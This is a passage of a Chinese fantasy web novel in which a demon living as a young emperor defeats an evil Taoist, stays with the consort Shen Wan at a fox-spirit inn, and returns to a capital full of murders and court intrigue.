两旁树木极高,他揽住沈纨的腰,几步蹬上树梢,将她放在粗大的枝干上,她一坐上去,肉眼看不见的一圈守护的光环以她为中心展开,他轻声对沈纨说:“别怕,在上面别动。”
黑虎纵深一跃,已经扑到树下,巨大的爪子在猛刨树干,魔情从旁折了一根细枝,从绝高的树梢上落下来,却身姿轻捷,似乎没收到半点冲击力的影响,寻常人这么做,膝盖怕是早就被震碎了
他挥动手中细枝抽向黑虎,这一下的力道足以在一根粗壮的树干上留下深刻的划痕,黑虎吃痛,发出一声震动山林的大吼。
魔情压住它的气势,对它说:“回去吧,我不想伤你,别平白丢了性命。”
这时候,从远处的暗影中冲出来一个黄眉老者,眉毛长到耳际,穿着很破烂的道袍,手脚关节突起,声音嘶哑,一派妖邪之气。
本应是和魔族最不对付的道门修行人,但这妖道显然走上了邪路。
“是哪个不长眼的人,竟然敢伤我的虎仙?”他手持一根黄竹杖,上面挂着几个骷髅,身形如鬼魅,竹杖往地上一戳,骷髅黑色的眼眶里涌出黑雾,变成一只老虎的形状,扑向魔情。
常有凡人误入此间,都被这黄眉道人所猎杀,成了他黑虎的盘中餐,他见到是一对年纪甚轻的青年男女,丝毫不放在心上,放出老虎想要捕杀二人。
黑雾有毒,瞬间就能麻痹一个人的感觉,但这类混迹于人间的散修所习的偏门道术,遇上魔情,如同太岁头上动土。但想
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起沈纨还在树上,忧心忡忡正往下看,他也不能表现得太不像人,魔情只能一闪身避开黑雾。
他身手利落潇洒,黄眉道人眯起眼睛,看着这手执纤细枝条的青年,蹙起黄眉,好像在思考着什么毒计,他用竹杖点了点地下,出现一个冒血气的八卦阵。
这东西,是把人炼成肉泥的邪术,他现在并不想失去小皇帝的肉身,闪身避开了血红的八卦。
一旁的黑虎猛扑上来,魔情一掌拍向黑虎的天灵盖,手掌压住它头上的王字,一股强大的魔气涌进去,黑虎发出尖啸,像是掉进了什么满是尖刺的陷阱,最后呜咽着趴在地上。
黄眉道人大怒,竹杖连敲,从褴褛的道袍里掏出一个不明物吃起来,魔情皱了皱眉,他在吃一个人心,一口咬下去满嘴的血腥,看起来非常恶心。
魔域低阶的魔族会有这类生啖血肉的行为,却是他这个位阶的魔族不屑去做的。
黄眉道人吃了人心,眼睛变得血红,看起来人样都没了,像是变成了一种妖兽,裹着腥臭的风攻击魔情。
突然,他像是被吊起来一样,痛苦地握住脖子挣扎,看不见的魔息勒住了他,魔情手用力一合拢,捏断了他的脖子。
那只黑老虎现在变成了病猫,趴在地上喘粗气。
魔情回到沈纨所在的树下,几步蹬上树,揽住她的腰,借力四周树木伸长的枝桠,带着沈纨安全地落到地面上,这树林幽暗得异常,在高处看不分明,但是也能意识到,她身边这少年天子强得离谱,已经有些超出了他的认知,京中勋贵也有些年轻儿郎非常上进,哪怕是徐家大公子,虽然私德有亏,喜好收集美女,但随父亲出生入死,勇力过人,若非徐氏野心膨胀,令人忌惮,他在青年武将里,也算是栋梁之材。
但陛下,如此武学修为着实离谱,她似乎有些明白了为何他会不怕那些刺客。
“陛下,那只黑虎还活着。”
“唔……是啊。”魔情沉吟着,他留意到黑虎的脖子上绕着一圈咒文,他的手才伸出去,那圈咒文像烟一样地消散了,然后老虎摇摇晃晃地站起来,它的体型极其的巨大,是寻常老虎的一倍不止。
“啊呀。”沈纨害怕地后退一步。
“别怕,它现在没有恶意。”
黑虎面对着魔情和沈纨,向前伸出一个爪子。
“这黑虎恐怕也被那黄眉怪人控制许久了,那怪人既死,它也从钳制中解脱了出来。”
面前的大猫用手刨了刨地,魔情明白了它的用意,“如月,坐上去吧,它想表达谢意,正好,一路劳顿,歇一会儿吧。”
“这……”沈纨惊疑不定地望着大老虎。
“不用怕。”魔情牵起沈纨的手,帮助她上了虎背。
“陛下呢?”
“我不用,走吧,还得找路出去。”
于是,密林中出现了一副奇怪的景象,一对风姿卓绝的青年男女伴着一只黑色的巨大老虎缓缓穿行在林间,美貌的女子坐在虎背上,青年走在她身旁。
15. 狐狸客栈
黑虎伴着他们二人在密林中走了半个时辰,也不知行了多久周围逐渐变成沉沉的夜色,天空出现半枚暗月。
他们分明在日出之时离开木屋,进入密林中并不觉得过了许多时辰,转眼间天色已转暗,沈纨不禁惊异:“昔年有樵人伐木,见山中仙人对弈,归时斧柯尽烂,已无复时人。总不至于出了林子已过去百年。”
魔情抬头看着夜空中的月亮,虽然不至于,但这密林的确有些古怪,时间出现了扭曲,转眼间已至深夜。
不久后前方出现昏黄的灯光,黑虎驮着她慢慢前行,那一豆灯火也逐渐清晰,沈纨瞧见前方异状,低声轻呼,但这两日碰到的怪事实在太多,她虽然惊异,但至少情绪还能稳住。
一只狐狸提着莲花灯,站在路边和他们作揖!
“黑虎道人为祸此间多年,吾辈有不少都遭其毒手,终得郎君除害,不胜感激,前方是吾族的客栈,有请郎君和女郎前往暂歇。”狐狸声音尖细,说话的时候胡子一动一动的。
“这里是什么地方?”魔情问。
“此间是风泽山的狐狸居。”
“这黑虎此前也被那妖道的咒术所拘,现在它听我的,我们得一起过去。”
狐狸打量着黑老虎,啧啧称奇,片刻之后道:“郎君和女郎请,请到这边来。”
于是乎,密林中出现了一豆灯火,一只红毛狐狸提着莲花灯在前引路,身后是一只黑色大老虎,还有一对青年男女。
“敢问狐前辈如何称呼?”沈纨忍不住问道。
红毛狐狸吱吱叫:“吾叫重九,生于重阳,日前刚过了生日,如今一百三十六岁,在吾族是小辈,可不是什么前辈。”
沈纨惊讶地掩住了嘴,本朝立国都没有一百三十六年,她的祖辈圣武皇帝,都还没这狐狸生得早。
前方的狐狸雕像变得多了起来,形态各异,还有一些很简陋的石雕灯座,上面飘着奇怪的小火焰。
道路渐渐明亮,两方出现了红色灯笼,一间三层高的客栈出现在眼前,屋檐的四角都有狐狸的头。
黑虎把沈纨放下来,在客栈前徘徊了一会儿,出迎的狐狸给了它一块巨大的肉,黑虎叼在嘴里,身影隐入了漆黑的密林中。
他们进入客栈,眼前是甚为光怪陆离的画面,客栈里有狐狸,黄鼠狼,也有一些长得像人的顾客,可是看起来总觉得不对劲,有些鬼气森森。
魔情辨认了一下,是一些已经有了些修为的五仙,与寻常的动物绝不相同,除了狐狸之外,还有黄仙的黄鼠狼,白仙的刺猬,柳仙的蛇妖,和灰仙的老鼠,当中还混杂着真正的人,恐怕也身怀奇术,客栈一角有个道婆打扮的老妇,穿着绿莹莹的道袍,独坐一桌,正在饮酒吃生肉,她的眼睛有细长的瞳仁,分明是一只蛇妖。
他们既是贵客,被狐狸迎进了最好的天字间。
天子间里有着客栈外见过的石雕灯座,上面飘着的火焰原来是狐火,石座里烘烤着几块石头。
房间内有个凹进去的小隔间,里面放着一个大木桶,圆形的石头砌了几级台阶,用屏风隔开,变成一个小小的浴室,狐狸指着墙上的罗盘道:“此乃五行盘,转到水,自会引泉入桶,灯座上烘着炎石,能把水烧热。”
沈纨看得惊奇,对接引的狐狸谢道:“有劳了。”
狐狸恭敬地作了个揖,离去时替他们关上了门。
“民间竟真的有狐仙啊。”沈纨禁不住感慨道。
“没想到风泽山竟然别有洞天,我们最开始在岔路口怕是选错路了。”魔情内心疑虑,精怪的住所通常都会设下幻术,避免凡人打扰,他们今天在林中见到两条小路,在普通的樵夫渔民眼中,另一条小路怕是完全不存在。
沈纨好奇房中的浴桶和五行盘,她绕过屏风走进小隔间里,挂在墙上的罗盘有一个黄铜的标记,她转动罗盘,刻着水的文字被转到有标记的地方,突然墙上机关启动,伸出来三个很大的竹筒,从里面涌出三股清泉。
“这倒有些意思?”魔情走过来,把旁边点着火的炎石用火钳夹起来,丢进浴桶里,炎石入水变红,很快桶中的泉水就热了起来,冒这雾蒙蒙的水汽。
他见沈纨也瞧得有趣,可能是面皮薄,站在一旁有些踌躇,他一笑道:“你若有兴趣不妨试试,这可是难逢的奇遇。”说着步到屏风之外。
沈纨面颊微红进来,伸手试了试水温,抵不过在秋初凉夜泡个热水澡的诱惑,探身一看天子,早坐在房间的另一头托腮沉思,看起来没什么兴致理会她。于是她拿起旁边的架子,取出炎石,将衣服放在一旁的木头挂架上,木桶一半嵌入地下,她没多费劲就进了水中,昨日清晨遭遇横祸,又在深林里奔波一夜,身体非常疲倦,泡进温水里舒服得简直要融化。
这时门外响起敲门声,传来一个少女的声音,“客官,可要尝尝本店的狐仙酿和年糕?”
魔情开了门,门口站着个红衣少女,深色的长发有些泛红,是个修为尚浅的狐女,生着一对狐耳,她端着个大木盘子,里面有一个酒瓶,两个酒杯,旁边的碟子放着圆白的年糕,他侧身让狐女进来。
小狐女把年糕和酒放在屋中的一方竹几上,转向沈纨沐浴之处问:“狐长老还差我送了澡豆和红玉梳子过来,娘子可有兴趣一试?”
沈纨起初有些窘,但听得是个少女的声音,不由好奇道:“那你拿进来给我瞧瞧。”
于是小狐女捧着个匣子绕进了屏风之内,沈纨这才瞧见她那对狐耳,毛茸茸,随着这女孩儿的一颦一笑,狐耳还会动。
她把木匣子放在浴桶边的三层木架上,打开后里面是两颗丸子大小的澡豆,和一把红色的梳子
“这澡豆调了珍珠和桂花蕊,而这红玉梳子附有吾族仙术,娘子如果要洗头发,用红玉梳子梳头,很快就干。”
“多谢姑娘,费心了。”
小狐女退到屏风之外,又问:“本店的厨子技艺上佳,娘子和郎君可有什么想要吃的?”
“我没什么忌口,姑娘不如去问问郎君想吃点什么。”
她听见狐女问天子:“长老特地交代过,贵客替吾族除掉了为祸多年的妖道,不可慢待,郎君和娘子莫客气,只管开口。”
其实他倒是无所谓,就是沈纨一个人类女子,没瞧出来这是个满是精怪的客栈,进门即见到的蛇精老妇,分明在吃生老鼠肉,他对后厨的清洁非常怀疑。于是魔情问:“有正常点的食物吗?我瞧着你们有些客人,吃的可是生肉。”
“客栈常有像郎君和娘子这样的客官,自然也有专门的厨子,曾是西南一带酒楼的名厨,会做荷叶饼,樟茶鸭子和粉蒸肉。”
“那就如此便好。”
小狐女答应着离开
沈纨从匣子取了一粒澡豆,开始沐
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浴洗头,瞬间有桂花的香气在池中化开,珍珠粉敷在肌肤上,摸起来光滑了许多。
木桶旁的狐火一直烘着炎石,不必担心水温变冷,水温微凉即换一块,虽然很留恋浴桶里舒服温暖的感觉,但泡久了有些犯困,沈纨恋恋不舍地出了浴桶。发间挂着小小的水珠,肌肤上也透出好闻的香气,虽然没有换洗的衣服是其美中不足之处,不过流落在外,竟然能找到这么一个奇异的落脚之处,已算是意外之喜。
沈纨换好了衣服,拿起红玉梳子,试着梳了一下,没想到濡湿的长发开始蒸出水汽,沈纨大感诧异,又多梳了几下,眼前水雾朦胧。
“陛下,瞧瞧这梳子。”她从屏风内转出来,在魔情面前梳了几下。
他瞧着她笑了笑,也不是为这梳子,而是沈纨此刻,一身素衣,未施粉黛,如出水芙蓉,青丝垂肩,瞧着实在动人。
这时又响起敲门声,狐女再度进来,手中提着食盒,盖子揭开,食物的香气四溢,她还带来了一壶酒。
她布置好了饭菜后,突然道:“娘子,狐长老近期教过我净衣术,客栈贵客往来,风餐露宿,时常有此要求,娘子可要试一试。”
魔情觉得她语气有些期盼,她应是初学,不由微微皱眉,法术不熟练,可别出什么篓子。
但沈纨毫无防备,微笑道:“好啊,你试试。”
狐女面露喜色,开始念念有词,释放出一阵清风,围着沈纨旋转,她的神情看起来一脸的努力,突然间,风速加快,只听呼地一声,一条红色的毛绒尾巴从她身后冒了出来。
尾巴?!
“唉呀!”她化相本就有瑕疵,藏不住两只耳朵,这下更是把狐狸尾巴都了露出来,万幸法术没出什么岔子,微风中出现了一些亮闪闪的东西,附在沈纨的衣裙上,上面的尘土和污迹似乎自动被吸走,转眼间她身上的衣服焕然一新,还散发着晨间草叶的清香。
才用桂花蕊做的澡豆泡了个热水澡,身上尚有香气,现在连衣服也变得簇新,沈纨转着身子检查着衣物,在魔情面前转了个圈,裙摆晃动的幅度显得非常优雅,她忍不住叹道:“此术真是奇妙,敢问姑娘如何称呼。”
“我叫小银,修为尚浅,让娘子见笑了。”然后她转而问魔情:“这位公子可要试试?”
“请吧,小银姑娘。”
“好嘞。”少女摇着狐尾,对着魔情念出同样的咒语,但面前的郎君抱着手坐在一旁,一点反应的也没有,一根头发丝都没动。
“咦?奇怪。”
魔情见露出困窘之态,也反应过来,他平素警惕性强,有意寻常法术的追踪和影响,希望这狐女修为足够低微,最好看不出原因。
沈纨视他为真龙天子,也不是身份普通的之人,或许帝王命格天生就有其特殊之处,不受精怪影响。
“你再试试看?”魔情默默地撤了防护,小银再次运使净衣术,这一下就顺利多了,转眼间魔情的衣服也变得簇新。
狐女心满意足地告辞了,沈纨忍不住感慨,“没想到京城之外竟然别有洞天,说出去,只怕都不会有人相信。
“这些精怪隐遁山林,想来也不欲为人间打扰。
“明日就该启程离开了,也不知还会碰到什么奇事?”
魔情一时不语,狐仙的异术惊不着他,回到宫里,由行刺所引发的麻烦,此怕才刚刚开始。
16. 狐语
狐狸做的饭菜味道异常美味,魔情都不自觉多吃了几口,他目前还处于缓慢恢复修为的阶段,时常内息阻滞,但这狐饭似乎包含了什么灵药,内息也跟着顺畅不少。
道域的人会种植灵米灵麦,魔域也自有特殊食材,没想到距离京城不远的一个精怪的居所,也别有些门道。
沈纨只尝出食物美味不同寻常,感叹道:“不知道这客栈里的狐狸们,是多少年的厨艺,宫里的御膳手艺也是好的,却也不如这山中的狐仙了。”
不久后小狐女进来收拾碗筷:“郎君娘子,味道可还合口?”
“是不错,但你这饭菜里放了什么东西?”魔情问她。
“郎君有所不知,这精怪修行会蕴化内丹,花草树木也有,吸收天地精气而蕴生果实,两位是贵客,这菜里加了五百年老树所蕴化的木灵珠。”
“这吃了有什么用?”沈纨不禁问。
“修行的吃了自然能增进修为,尤其对木修大有裨益,木灵蕴含生发之气,对伤势和顽疾也有益处,不过似娘子和郎君这般,当然是延年益寿,娘子瞧瞧,可是变美了许多?”
房间里没有铜镜,沈纨忍不住摸了摸头发,才沐浴过不久,一把青丝如丝缎般光滑,也不知有没有那灵气的效果。
小狐女笑眯眯道:“娘子天生丽质。”抱起餐盒走了。
狐狸的居所,连睡床都和人间不同,是个圆形的大蒲团,床架乃是藤编的,开着白色小花的藤蔓向上长结成一个拱形的顶,看起来就像是个动物的巢穴,但布置得雅致舒适,若接待的来客不是人族而是精怪,入夜时恢复本相,化成一只巨大的狐狸,或什么兽类,也能团在蒲团上睡觉。
那上面并没有野兽的怪味,而是有好闻的香花的味道。
被子和枕头都很软,沈纨钻进被子里,藤蔓上开着的小花香气似玉兰,似乎还可以助眠,她很快就睡着了。
天明时魔情带着她告辞,昨夜特定指定了菜肴,一早起来吃的东西就不太确定是用什么做的了,黄色的新月形状的饼,还有茶水泛着银光的花瓣茶。
客栈之外云雾缭绕,前院有一架竹子做的马车,旁边是一只穿着青衫的狐狸,客栈里算账的白狐说,这是他们的狐长老。
由于魔情赶走了为祸多年的黄眉妖道,为表谢意,狐长老会亲自送他们出去。
这时从客栈后绕出来一匹黄竹所制的马,不知道是以怎样的法术驱使,竹马来到近前,沈纨听到竹子的沙沙声。客栈里有狐狸出来,把竹车和竹马拴起来。
狐长老坐在竹马上,驱使马车前行,马车有拱形的顶,但四周没有布帘,可以毫无阻滞地看到周遭的景致,秋天的清晨,林中空气清寒,马车行进一段时间,狐狸客栈附近参天的巨木渐渐变小,成为普通的树林,满地金黄的落叶。再往前走一段,看到一片竹林,树林和竹林的交界处有一尊九尾狐狸石雕,狐长老经过时,转身面对石雕,恭敬地做了个揖。
虽然已经入秋,但这片竹林却并未因季候的变化改变颜色,依然青翠欲滴,沈纨不禁好奇地问:“敢问狐长老,马车和竹马所用之竹,可是来自此间?”
狐长老答:“不错,此地是翠竹林,客栈中的家具和车马都来自此间。”
“如今已入秋,竹林却青翠欲滴,可是也有什么仙术?”
“仙术谈不上,但此间有木精在此地守护,草木四季常青,寻常人既不可见,也不可进。”
沈纨听了越发好奇,忍不住四下张望。
半个时辰后,前方出现了一片奇怪的翠雾,其中银光闪烁,穿过翠雾之后,竹马车停了下来,狐长老下车来向着沈纨和魔情作揖:“出了此间便是人世,狐族的戏法不再管用,马车无法前行,只能劳烦贵客在此下车。吾有一晚辈名唤初九,稍后会驾车送娘子和郎君回京。
“多谢狐长老一路送行。”沈纨从车上下来,回望那竹车竹马,心中暗暗称奇。
“我观昨夜那小狐女修为不到百年,已经修成人身,狐长老可有人身?”
青袍狐狸一愣道:“郎君果然好眼力。”他身边窜起一阵云雾,狐狸的身影消失了,过了一会云雾散去,面前出现了一个身穿青衣的青年男子,眼睛狭长,容貌清秀。
狐长老竟然看起来这样年轻,沈纨吃惊地长大了嘴:“你……你是狐长老?”她还以为是一大把胡子的老人家,哪怕化成人形也会是仙风道骨的长者,有如南极仙翁、或太上老君般的长相。
“狐族的身份除了年纪,更论修为,若如人间只是老者为尊,老也老死了,如何统帅群族。”
“敢问长老名讳?昨夜多亏容留我和郎君一夜,十分感谢,总要记得恩人的名讳。”
“娘子和郎君可称我胡隐。”
“狐长老如今有多少年的修为了?”魔情问他。
“如今已是四百年的修为。”
沈纨的神情非常震惊,而魔情忍不住露出一抹微笑,这只狐狸年岁还差了他不少。
“郎君不是凡人,眼力过人。”
狐长老大概察觉出了些什么,一路上对魔情极其恭敬,他除掉黄眉道人是无意之举,却为隐居此间的狐狸除了一个大患,外在依然是个十八九岁的少年郎君,四百年寿数的狐长老在他面前,却表现得更像一个晚辈。
魔情竖起一根手指放在嘴上,心照不宣地说:“这就要劳烦长老保密了。”
这时远处有马车骨碌碌地上山来,驾车的是个头戴羽巾,身穿道袍的老者,沈纨瞧着面熟,震惊不已:“你……你是那日太平坊的……”
魔情看得好笑,那分明是沈纨和他日前在太平坊遇上的算卦狐狸。
狐狸看到他们二人,愣住,眼睛滴溜溜地转,然后才从马车上下来,一边作揖一边说道:“老夫……晚辈……有眼不识泰山,原来竟是贵客。”
“那买了你文昌符的举子,可金榜题名了?”
那狐狸猛地咳嗽几声,并不直接回答,而是一叠声道:“端看个人造化,看个人造化。”
“你们的狐长老化形是个年轻人,你如今修为几何?为何如此
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老态?”魔情心知他是只小狐狸,却有意询问。
胡隐道:“初九,把障眼法去了吧。”
沈纨吃惊地张大了嘴,面前的老者形貌变换,不一会儿,出现在眼前的是个十四五岁的小郎君,看起来和昨夜的狐女一般大,形容稚嫩,个头比之前那老气横秋的道人也矮了许多,道袍霎时间变得不再合身,衣服下摆拖在地上,看起来有点滑稽。
“别看我瞧着不大,狐狸要修出人身,也得一百多年呢,娘子和郎君是贵人,别怪我说句不知轻重的,我的年岁,可以做你们的祖爷爷。”
沈纨微笑道:“你这人身也是个眉清目秀的小郎君,为何要装成老人家在京城算卦呢?”
初九把帽子摘下来,这狐狸少年和昨天的小狐女一样,生着狐狸耳朵,再仔细一看,眼睛还是竖瞳,野气十足,显然修行还不甚到位,初具人形,却又绝不像人。
“我化形尚不完整,这一对狐耳如何能在京中行走,再说案主们在易理上又不信年岁小的,如何能有生意。不过那些六七十岁年纪,胡子一大把的老家伙还没我大呢,我的年纪,能当他们外公。”
这狐狸少年有趣得很,分明是灵动跳脱的个性,却偏要做出老气横秋的样子。
“好了,初九,不可无礼。”狐长老打断道:“好生送两位贵人返回京城,一路上不可冒犯。”
胡隐又向魔情和沈纨作了个揖,转身上了竹马,马车掉头,穿过翠雾,消失在竹林中。过了片刻,翠雾消散,变成了一个非常普通的山道,站在另一侧,只看到的是一片稀松平常的树林,不见一棵竹子。
初九活泼多话,对魔情很是好奇,马车骨碌碌地下山,他一路问道:“恩人师从何处?我瞧你不过十八九岁的少年郎,怎么竟能制服了滋扰风泽山多年的妖道和黑虎?”
“哪有什么师承,天赋异禀罢了。”魔情微笑,这狐狸还看不出他的身份,既不知是天子,更不可能得知他的真身,这小狐虽然算不出,但也知道他不是一般人,因而心存敬畏。
初九思考道:“郎君既天赋异禀,倒是个修道的好苗子。”
修道?那可是和魔族不共戴天的死敌,魔情推脱道:“此事讲究机缘,未满双十说来不算大,但要追求仙道已是有些迟了。”
“不迟不迟!”初九道:“郎君有所不知,如今这萧齐氏的先祖,近百年前也出过一位,我那时候更小,但仙人下凡,狐狸岂有不知道的,我那时候还是狐狸,偷偷溜进京城看热闹,那些道境来的前辈,真是天人之姿,那位天家出去的郎君,也和恩人如今一般大,但出世后就不知所踪,资质品貌完全不是如今那些江河日下的萧家宗室可比的,这天家才是真的一代不如一代,快绝嗣了。”
沈纨当初变了脸色,在天子面前,这可是大逆不道之语。
魔情抬手做了个手势拦住沈纨,摇头表示并不在意,他平静地岔开话题:“近日京城可有什么大事不曾?”
初九却叹道:“怪哉,京城这几日连出几桩命案,的确比往日又乱些了。”
17. 护驾来迟
小狐狸初九驾车载着二人回京,行至有人烟的村庄,他改换相貌,再次变成老气横秋的算命先生。交谈得知,这狐狸平素居于京中,摆个卦摊算命挣钱,也无甚歹心,就是卖的护身符和法器效果颇为可疑,但京城里大大小小的佛寺道观,包括花神院,哪个不是如此,主打一个心安和吉利:“一个愿打,一个愿挨”。
抵京时已近申时,太阳逐渐向西,入秋后白日变短,很快暮色就将来临。
沈纨进京后即发觉情势果如初九所言,不太对劲,城内四处张贴着海捕文书,似有凶徒近期犯下大案,尚未落网,又不知其形貌,故此文书上没有画像,只是简述了案件。
她此前与天子一同在京城里游玩了半日,当时还是一派热闹祥和,如今黄昏未至,街上的行人显得行色匆匆,仿佛京城出现了会在夜晚游走的魔物,不在天黑前返家,就会被吞食。尤其是女子,显得更是不安,市坊内有不少经营小铺的女摊主,此刻已在预备着收摊,出行女子早早将事务了结,三五成群地结伴返家。
魔情此前失明,对京城的近况不甚明了,但沈纨看着行人的慌张神色,忙问初九出了何事,初九说道:“京城近期出了个凶徒,专挑年轻女子下手,手段残忍,连着三日都有人受害,有二女同一天遇害,以钝器重击头部,场面惨不忍睹,另有二人至今仍不知所踪。抓不着人,京里有女郎的人家,自然人人自危。”
“此事用易理可算得明白?”
“算过啦,还有人家携女来求平安的,也有家中已有女眷失踪的,唉,可怜。”狐狸说着竟叹了口气:“有一个凶多吉少呢,我试着用遁甲之术看能否问出嫌犯所在,只看出有些累世之业,早晚有偿债之时,只是如今还早,看来,还是天机不可泄露。”
初九絮絮叨叨,突然又道:“娘子,我那辟邪珠再灵验不过,逢凶化吉,如今京城生变,要不要求一个,并不贵呢。”他说着说着又想卖东西,摇头晃脑的,拈着他那把变出来的假胡子。
“我可没有钱呢。”沈纨忙摆了摆手,热闹也不看了,放下了车帘。
魔情早知道他那辟邪珠的底细,内心好笑,也在一旁摇头。
狐狸也不强迫,转眼间马车驶入市坊,他问:“郎君和娘子在何处下车?”
魔情此前失明,哪里知道京城的市坊,最后还是沈纨经过思量,告诉狐狸:“过了光华坊,往玄武坊去,在附近停下就好。”
京城的天潢贵胄多居于四神坊,靠近皇城,青龙朱雀是亲王公主的府邸,而玄武白虎光华三坊多为官宅,其中尤以玄武白虎最为显贵。
狐狸惊诧却不见怪:“初见就觉得娘子和郎君的出身不凡,果然如此。”
他们在玄武坊北面下了车,从这里步行回宫也不远了,不过失踪数天,就这么回到京城,完全未知会守城军,回到宫里难免还得引起些混乱。
前方有一相对简陋的青蓬牛车,从上面下来个年轻女郎,另一边却是高大的马车,连拉车的马都神骏异常,显然来自高门大户,那女郎带着长帷帽,看不清面容,只见背影袅娜,上了那高大的马车,一径走了。
沈纨瞧着那马车有种说不上来的熟悉,狐狸在旁边替她解惑道:“徐家那老爷子又纳侍妾了,耄耋之年,真是个老色鬼。”
“你也对京城的俗事有所了解?”
“在这里算了十几年卦,问什么的都有,岂有不明白的。娘子和郎君可还有其他吩咐?”
二人皆摇头道:“没有了,今日多谢你。”
“那么就此别过,娘子若改了主意,对我那辟邪珠感兴趣,去太平坊找我就好。”小狐狸向他们做了个揖,正欲离去,不想又多生出些事来。
玄武坊多为三品以上官员府邸群聚之地,不少官宅院落广大,那送女郎入徐府的牛车很快便离去了,而巡城卫兵见另一旁的马车上下来三人,却站着说话迟迟未动,遂上来撵人。
“玄武坊岂是闲杂人等能任意闲逛的,还不速速离去。”
初九是只狐狸,不通人事倒还可恕,但这巡城侍卫却在天子面前造次,可是大不敬,沈纨面色微变,并不退让:“这位军爷慎言,京城落一片瓦,都能砸到一个三品大员,你如此无礼,可别平白给自己招惹麻烦。”
她气质谈吐皆不俗,虽然平素性情温和,一旦正言厉色说话,气派也非寻常人家可比,叫人不敢冒犯。
护卫情知她说得有理,又见她和身旁那青年郎君气定神闲的模样,只得缓声道:“娘子家在何处,如今入夜不慎安全,当尽快回去。”
“若不是你多此一举,我们正是要走了。”
玄武坊贵人多,一贯巡防严密,金吾卫参军见有一简陋马车停在附近迟迟不去,心下奇怪,和侍卫前去查看。他虽非朝官,但在大朝会上却也见过天子,遥遥地一张望,吓得魂差点没飞出去,这不是失踪了三日的天子又是谁,旁边有一女子极美,那便是传闻中的沈婕妤了。
他急行几步,来到魔情身前下拜道:“微臣失察,护驾来迟,还望陛下恕罪。”
初九刚才一路出言不逊,闻言嘴巴不禁张大,呆呆地看着面前这深藏不露的少年郎君。
“别惦记着卖你那辟邪珠了,你护驾有功,少不了赏的。”魔情在旁说道,然后转向那武官:“朕和婕妤流落山间,多亏这位老……丈……”他瞧这狐狸那不伦不类的老人家扮相,微笑道:“……相帮,他救驾有功,理当有赏,你们不可亏待。”
“自然,自然。”
青龙坊离皇城已经很近,很快禁军就来了,魔情突然把沈纨拉到怀中,低声道:“装病。”
沈纨倚在他怀中,意识到迟来的戏码如今该上演了,不过才小产的女子,应该是何状态呢?正思量间,听到一声轻叹,天子嫌她迟钝,下手点了她的穴道,她突然感到气
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息紊乱,这下连站都站不稳了,直接倒在天子怀中。
近旁的徐府被惊动,徐敦即刻出府,领着一家老小前来接驾,这下沈纨不止见到了名声在外的徐家太爷,还有徐敦的长女徐兰宁,她看见天子和倚在天子怀中的沈纨,神色微变,瞧着她面色苍白,一副病弱之态,从山崖上掉下去,坠落深潭,虽然禁军后来在崖底搜寻许久都不见人,但遭逢此祸,皇嗣定然是保不住了,一时间百味杂陈,但很快就被父兄领着跪拜天子。
而那徐家太爷,年至耄耋,因出身富贵,并不如实际年纪那般看着老迈,满面红光,看着依然有些酒色过度的样子。其妻萧太主,本是当今天子的姑祖母云华大长公主,拄着天家御赐的凤头拐杖,与夫郎子孙一道下拜。
当禁军和马车到来时,沈纨的确是已经迈不动步了,魔情一把将她抱起来,送上马车,这才跟了进去。
回到宫里,谢太后与棠华宫的一众宫人早已焦心了数天,度日如年,见天子和沈婕妤安然归来,简直又哭又笑,魔情察觉到宫中的香火气,显然是太后慌急之下选择求神告佛,不由皱眉道:“又念经啊?”
沈纨回到了棠华宫里,横遭坠崖之祸,医官来探,皇嗣自然是没了,棠华宫的众人见婕妤终于归来,无不喜出望外,随即又传出小产的消息,不由又哭起来,白露不出所料,看起来尤其伤心。沈纨正烦恼该怎么演,受其情绪感染,赶紧跟着滴了几滴泪。
谢太后这几日忧思得夜不能寐,尤其近来宫中风云变幻,没发生什么好事。今皇帝总算归来,她忍不住上前去抱住他,哭泣一阵才放开,一面仔细端详一面问道:“可受伤了不曾?”
魔情摇头道:“让母亲忧心了,朕没事,但可惜了沈婕妤,需要好好休养一阵子了。”
方才来过女医,已向太后报告了诊脉的结果。
太后闻言黯然,从先帝起子嗣就不丰,如今好不容易有个期盼,却横遭大祸。
“她之前犯了错,不过也受罪不少,有什么罚也免了,就让她这些时日好生静养吧。”
太后微微颌首,然后道:“那些刺客……”
天子不语,屏退众人,才对谢太后道:“母亲何必佯装不知,这不是非常明显么?”
“皇儿回宫可发现有何不同之处?”
“禁军似乎多了许多?”
太后点头:“皇儿和沈婕妤坠崖后,徐将军大幅增派了禁军的人手,几乎将长庆宫包围,说是要防宗室谋逆,但……”她突然长叹一声:“还好皇儿如今归来,你如今亲政未久,根基尚不稳,国有外患,内有世家,只是徐家如今不可不防,你在前朝,一切都应小心谨慎。”
“母亲不必担心,儿臣心里有数。”
他说是如此说,心下却明镜似的,只是不免要让太后失望,他阴差阳错地成为了一国之君,甚至洞悉了此地有沉疴宿疾,但他,却不是来做明君的。
18. 混沌与饕餮
长庆宫这些日子暗流涌动,在天子失踪的三日之内,禁军包围宫廷,说要防止宗室谋逆,但如今徐敦已尽掌天下兵权,坊间谓之:“司马昭之心。”
如今天子遇刺,更是顺理成章地撤换了一批宫廷护卫,如今四周皆为徐氏耳目,天子动向尽在掌握之中。
但,果真如此吗?
沈纨回宫后,好生休养了一阵子,中秋才过,霜露既降,曹姑姑认为她才小产,不可受风,每出到殿外,时间稍长些,曹姑姑就紧张得想要劝她回去。十六之月尚圆,但不知是不是错觉,沈纨总觉这天上明月泛着不寻常的幽蓝色泽,很是怪异。
“曹姑姑,你可觉得着月亮有何不同?”
曹柳玉抬头,只见夜空一轮满月,也未瞧出什么来:“十五才过,月尚圆呢,在奴婢家乡有个习俗,中秋佳节之后,家家户户依然张灯结彩连续三夜,还要在正厅摆一对提灯。昨日宫中赐下一对莲花灯,娘子若想图个吉利,可以这三日,入夜后点灯供在正厅之内,此举在奴婢家乡称为‘留团圆’。”
沈纨一想近期连番遇上怪事,听起来也没什么坏处,于是点头允了。
而在那高空之上,银盘似的满月,其银光被蓝月幽阁所覆盖,此时内中正发生着不寻常之事。
魔情离开寝殿,现出原本的魔相出现在幽阁里,麾下的两位魔也齐聚其中,沉默寡言的枯木灵族山鬼,与梦神一族的魔女莫耶,皆于幽阁之内静候,他们在人间的职责即将结束,他们的同侪——四凶神里的饕餮与混沌,即将降临人间,接替他们的职责。
幽阁的另一头有一面奇怪的镜子,镜面像蒙着一层雾气,波诡云谲,云雾在其中缓慢地流动,但突然之间,流速变快,镜面出现了波动的涟漪,裂开一道漆黑的缝隙,从中出现一柄战斧,将裂口豁开,缝隙逐渐扩大,像是妖兽张开的嘴。
